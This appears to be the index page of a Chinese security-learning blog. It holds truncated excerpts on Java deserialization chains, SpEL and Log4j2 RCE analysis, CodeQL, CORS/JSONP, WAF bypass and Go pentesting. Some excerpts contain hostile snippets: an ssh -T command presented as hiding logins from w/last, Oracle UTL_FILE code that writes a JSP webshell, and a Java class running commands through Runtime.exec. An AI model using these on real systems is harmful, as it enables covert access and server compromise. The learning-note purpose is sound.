ssh幽灵登录
ssh 幽灵登录ssh -T在逛hackingclub的时候,逛到了ssh -T这么一说,主要命令如下:
1ssh -T root@IP /bin/bash -i
w和last,只能发现完整的tty交互式终端,而上述命令并不会分配一个真正的tty,仅仅是调用了/bin/bash而已
进行一个交互,当我想通过ssh --help的时候,没有找到,然后听师傅们说,使用man 查一下手册,就可以看到
-T的意思是强制不分配伪终端,这里就开始找伪终端是什么,,
伪终端(Pseudo Terminal)是成对的逻辑终端设备,例如/dev/ptyp3和/dev/ttyp3(或着在设备文件系统中分别是/dev/pty/m3和 /dev/pty/s3)。它们与实际物理设备并不直接相关。如果一个程序把ttyp3看作是一个串行端口设备,则它对该端口的读/写操作会反映在该逻辑终端设备对的另一个上面(ttyp3)。而ttyp3则是另一个程序用于读写操作的逻辑设备。这样,两 ...
C3P0反序列化链学习
C3P0反序列化链学习依赖包需要先导入依赖包
12345678910<dependency> <groupId>org.example</groupId> <artifactId>C3P0</artifactId> <version>1.0-SNAPSHOT</version> </dependency> <dependency> <groupId>com.mchange</groupId> <artifactId>mchange-commons-java</artifactId> <version>0.2.11</version> </dependency>
依赖包的查看ysoserial可以发现,需要用到的依赖包
...
snakeyaml学习
snakeyaml 学习简介感觉和 fastjson 一样,是把对象转换成yaml格式的一种手段
环境依赖添加依赖:
12345<dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.16</version> </dependency>
测试测试demo:
123456789101112131415161718192021222324252627282930package com.user;public class User { String name; Integer age; public String getName() { return name; } public void setName(String name) { ...
跨域方式及产生的安全问题
跨域方式及产生的安全问题前言面试的时候,被很多师傅问到了这些问题,当时总结一下吧
同源策略同源策略是一种约定,它是浏览器最核心也最基本的安全功能。以下特征被称之为同源
众所周知,同源策略需要满足三点:协议,域名,端口
同源策略有两种限制,第一种是限制了不同源之间的交互请求,例如,在使用XMLHttpRequest 或 fetch 函数时则会受到同源策略的约束。第二种是限制浏览器中不同源的框架之间是不能进行js交互操作的。比如通过iframe和window.open产生的不同源的窗口。这两种限制都有不同的解决方案,下面会讲解不同的解决方案和可能产生的安全问题。
注:
对于<a> <script> <img> <video> <link>这类属性带有src,href的标签,允许跨域加载
跨域请求可以发出,但是浏览器查看返回包发现跨域且无CORS头会丢弃,而且,不同子域之间默认是不同源的
IE 未将端口号加入到同源策略的组成部分之中,因此 company.com:81/index.html 和 company.com/index. ...
SpringCloudFunction漏洞分析
SpringCloudFunction漏洞分析SpringCloudFunction是一个SpringBoot开发的Servless中间件(FAAS),支持基于SpEL的函数式动态路由。在特定配置下,3 <= 版本 <= 3.2.2(commit dc5128b之前)存在SpEL表达式执行导致的RCE。
在commit记录中找到
分析在本次修复的时候,增加了SimpleEvaluationContext
这样就有了两个EvaluationContext,分别创建了两个对象
一个是StandardEvaluationContext,``evalContext 一个是SimpleEvaluationContext, headerEvalContext`
接下来往下走,由isViaHeader变量作为flag,这时候,如果是从HTTP头取到了spring.cloud.function.routing-expression字段,就会设置一个true,这个true,就是接下来的isViaHeader属性
在解析前判断spring.c ...
数据库相关
数据库相关以前没实操做过oracle数据库。只会mysql,,现在做一个简单的总结吧。。
oracle写shell的条件
有DBA权限(剩下的connect权限之类的)
有网站的绝对路径
写入方法储存过程写入首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,在这里我们将其指向/home/oracle这一路径下。
1create or replace directory WEBSHELL_DIR as 'C:\apache-tomcat-8.5.56\webapps\Shopping';
然后利用存储过程写入一句话木马
123456789declare webshell_file utl_file.file_type;begin webshell_file := utl_file.fopen('WEBSHELL_DIR', '1.jsp', 'W'); utl_file.put_line(webshell_file, '& ...
codeql-java测试
codeql-java测试前言
codeql本质上还是查询语言,语法和sql语句类似
codeql主要就是利用分析引擎分析代码之间的关系,生成一个代码数据库。然后我们直接写ql就可以进行各种查询,如找某个方法或者某个类,找方法引用,跟踪某个参数的传递等等用法
codeql里面的谓词就是把各种条件封装成方法,需要个人理清需要查询的条件才能知道自己想要什么
编译数据库常用的命令1234跳过测试,构建--command="mvn clean install --file pom.xml -Dmaven.test.skip=true"无论项目结果如何,构建从不失败--command="mvn -fn clean install --file pom.xml -Dmaven.test.skip=true"
针对编译型语言来说,要在创建索引数据库的时候增加编译的功能,主要是针对java,对于非编译性的语言来说,直接扫描。go 既可编译,也可以不编译。
基本查询条件过滤 Method123from Method methodwhere method.has ...
codeql测试fastjson
codeql测试fastjson前言首先要清楚,fastjson的利用链主要集中在getter和setter方法中,如果getter或者setter的方法中存在一些危险操作,比如JNDI查询之类的调用的话,如果参数可控就可以导致JNDI注入,而且fastjson的防御方式为黑名单,所以会层出不穷fastjson的绕过gadgets
鉴于fastjson的漏洞原理较为简单,且source(用户输入的源头)和sink(危险的函数)较为明确,所以可以使用codeql对一些常见的库进行fastjson利用链的挖掘
定义入口点(source)fastjson的source相对比较好定义,所有fastjson的入口函数都是getter和setter这些函数,所以对应的source就为这些getter和setter,在codeql查询中,其实相当于将所有的函数按照用户所需要的过滤规则拿出来,所以我们只需要定义过滤的规则
对于getter和setter的规则,这里其实并不是一定要有对应的属性,只要前三个字母开头是get,并且第四个字母大写即可
getter的规则:
以get开头
没有函数参数
是 c ...
绕过Waf之分块传输
绕过waf之分块传输在渗透测试的过程中,遇到WAF也就意味着,我们不能使用安全工具进行渗透测试,因为如果一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP,所以,我们需要手工对WAF进行绕过,我们需要对WAF有一个简单的了解。
WAF的分类
嵌入型
硬件行WAF:以硬件的形式部署在链路中,支持多种部署,当串联到链路中时可以拦截恶意流量,在旁路监听时,只记录攻击,不进行拦截
软件型WAF:以软件的形式安装在服务器中,可以直接检测服务器是否存在webshell,是否有文件被直接创造过等
云WAF,一般以反向代理的形式工作,通过配置NS,或者NNAME记录,使得网站的请求报文优先经过WAF主机,经过WAF主机过滤以后,将被认为无害的请求报文发送给实际网站服务器进行请求,可以认为是带防护功能的CDN
嵌入型
网站的内置WAF,直接将WAF嵌入到代码中,相对来说,自由度极高,网站内置的WAF与业务更加契合
如何判断是否有WAF手动检查手动在域名后面加一个不存在的id参数,并且加上很明显的sql语句,查看服务器的回应。
SQLmap检测如果网站存在WAF,sqlmap会有提示 ...
扫描器之文本相似度计算
扫描器之文本相似度计算前言被师傅问到这样一些情况:当使用扫描器去扫描页面,发现有些页面如403是自定义的页面,这种情况该怎么办,我当时想的是,直接去获取context里面的文本,有403 的话,可以跳过。但是,师傅好像不是这样说的,和泛解析差不多的思路。都可以用文本相似度来解决。
文本相似度算法余弦相似性首先,我们先来简单看一下,什么是余弦相似性
先来看两个句子:
句子A:我喜欢看电视,不喜欢看电影
句子B:我不喜欢看电视,也不喜欢看电影
如果要计算上面两句话的相似度的话:
基本思路是:如果这两句话的用词越相似,它们的内容就应该越相似。因此,可以从词频入手,计算它们的相似程度。
1. 分词
句子A:我/喜欢/看/电视,不/喜欢/看/电影
句子B:我/不/喜欢/看/电视,也/不/喜欢/看/电影
2. 列出所有的词
我,喜欢,看,电视,电影,不,也
3. 计算词频
句子A:我:1,喜欢:2,看:2,电视:1,电影:1,不:1,也:0
句子B:我 ...
spring-gateaway分析
spring-gateaway分析影响版本
3.1.0
< = 3.0.0 - 3.0.6
环境搭建首先导入依赖包:pom.xml
12345678910111213141516171819202122232425262728293031323334353637383940414243<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0. ...
SPEL学习
SPEL表达式的学习SpEL简介Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
基本用法SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
1. 不注册新变量的用法123ExpressionParser parser = new SpelExpressionParser();//创建解析器Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式System.out.println( exp.getValue() );//取值,Hello World!
...
jsonp学习
jsonp学习0x01 jsonp为何使用JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。
情形举例假设 a.com下存在data.json文件
1{ username: "name", password: "secret" }
而下面的html文件用于发起Ajax请求获取data.json的内容并记录日志:
12345678910<script src='./jquery.js'></script><script > $.ajax({ url: 'http://a.com/data.json', type:"get", dataType: "json", success: function (data) { console.log(data);} })</script>
如果该HTML文件处于a.com和data.jso ...
Log4j2分析入门
log4j2 RCE入门首先需要了解一下log4j的依赖包,使用jar包暂且不说,如果是maven项目导入的话,需要导入两个包
log4j和log4j-api
log4j 包含.classlog4j-api 包含.class但是只是一堆接口而已,实际使用需要log4jlog4j-core 包含.class与.java也就是源码
两者缺一不可,其他的东西可以自己去了解一下
123456789101112<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apach ...
codeql入门
codeql入门前言最初接触codeql,是暑假公司师傅们提到了一下,当时在公司宿舍聊天,聊到各位师傅当时的面试题,,有一个师傅被问了AST语法树分析,,,
然后一脸懵逼的我听着师傅的讲解,谈到了2021 强网杯 那道几十万行的pop链,瞬间知道他是干啥的,,,
主要用于污点追踪分析
Codeql基本概念是什么CodeQL是一个代码分析平台,在它的帮助下,安全研究人员可以利用已知的安全漏洞来挖掘类似的漏洞,可以实现变种分析的自动化。这里所谓的变种分析,就是以已知的安全漏洞作为参照物,在我们的目标代码中寻找类似的安全问题的过程。
漏洞挖掘范式我们知道,挖掘漏洞的时候,对于大佬来说,其实是可以硬审的,但是,对安全人员要求比较高,换句话说,对新手不太友好,
那么,我们就可以照猫画虎去模仿的写一个类似的,去分析上面题到的变种类型。
QLQL是一种通用的、面向对象的语言,可以用来查询任何类型的数据。在CodeQL平台上面,为了帮助安全研究人员完成各种代码分析工作,提供了许多现成的查询和代码库——这些都是使用QL语言编写的,
并且,它们都是开源的,源码可以从这里(https://github.c ...
java字节码加载的相关笔记
java加载字节码的相关笔记0x00 前言在java安全很多情况下都需要加载字节码来实现,这个实现离不开类加载器,也就是ClassLoader
在p神 《java安全漫谈13》中提到到动态加载字节码的方式,这里结合4ra1n师傅的文章做一个总结
0x01 自定义类加载器这里是用于加载JSP Webshell的讨论
首先有一个加载的恶意类
12345678910111213141516171819public class ByteCodeEvil { String res; public ByteCodeEvil(String cmd) throws IOException { // 简单回显 Webshell StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd) ...
Go渗透测试笔记(七)
Go渗透测试学习笔记(七)–滥用数据库和文件系统0x00 前言在本节,我们学习如何安装和配置各种SQL和NOSQL数据库,并学习如何通过Go来进行交互。
0x01 与Mongo交互1. 安装MongoDB数据库然后写入数据MongoDB是NOSQL数据库,这意味着,他与其他传统数据库不同,他是无架构的。
使用docker开启了之后,使用store数据库
db.use strore
然后写入数据
1234567891011121314151617181920212223db.transactions.insert([ { "ccnum": "4444333322221111", "date": "2019-01-05", "amount": 100.12, "cvv": "1234", "exp": "09/2020" }, { &qu ...
Go渗透测试笔记(六)
Go渗透测试笔记(六)–与SMB和NTLM交互0x00 前言在前面的学习中,我们研究了用于网络通信的三种协议:TCP,HTTP和DNS,这次我们使用SMB(服务器消息块)(Server Message Block)协议来对网络协议进行讨论。SMB被证明是针对Windows系统后渗透中最有用的协议。
SMB具有多种用途,通常用于网上共享资源,例如,文件打印机和串行端口。如果有攻击意识,SMB允许通过命名管道在分布式网络节点之间进行通信。换句话说,你可以在远程主机上执行任意命令。这就需要用到PsExec(一种在本地执行远程命令的windows工具)
SMB还有一些其他用途,主要得益于它处理NTLM身份的验证方法,该身份验证是Windows网络上大量使用的质询--响应安全协议。用途包括,远程密码猜测,基于散列的身份验证(pass-the-hash),SMB中继和NBNS/LLMNR欺骗
0x01 SMB包由于没有现成的SMB包,所以使用作者编写的
https://github.com/blackhat-go/bhg/tree/master/ch-6/smb
改天去挖掘一下源代码
0x02 理 ...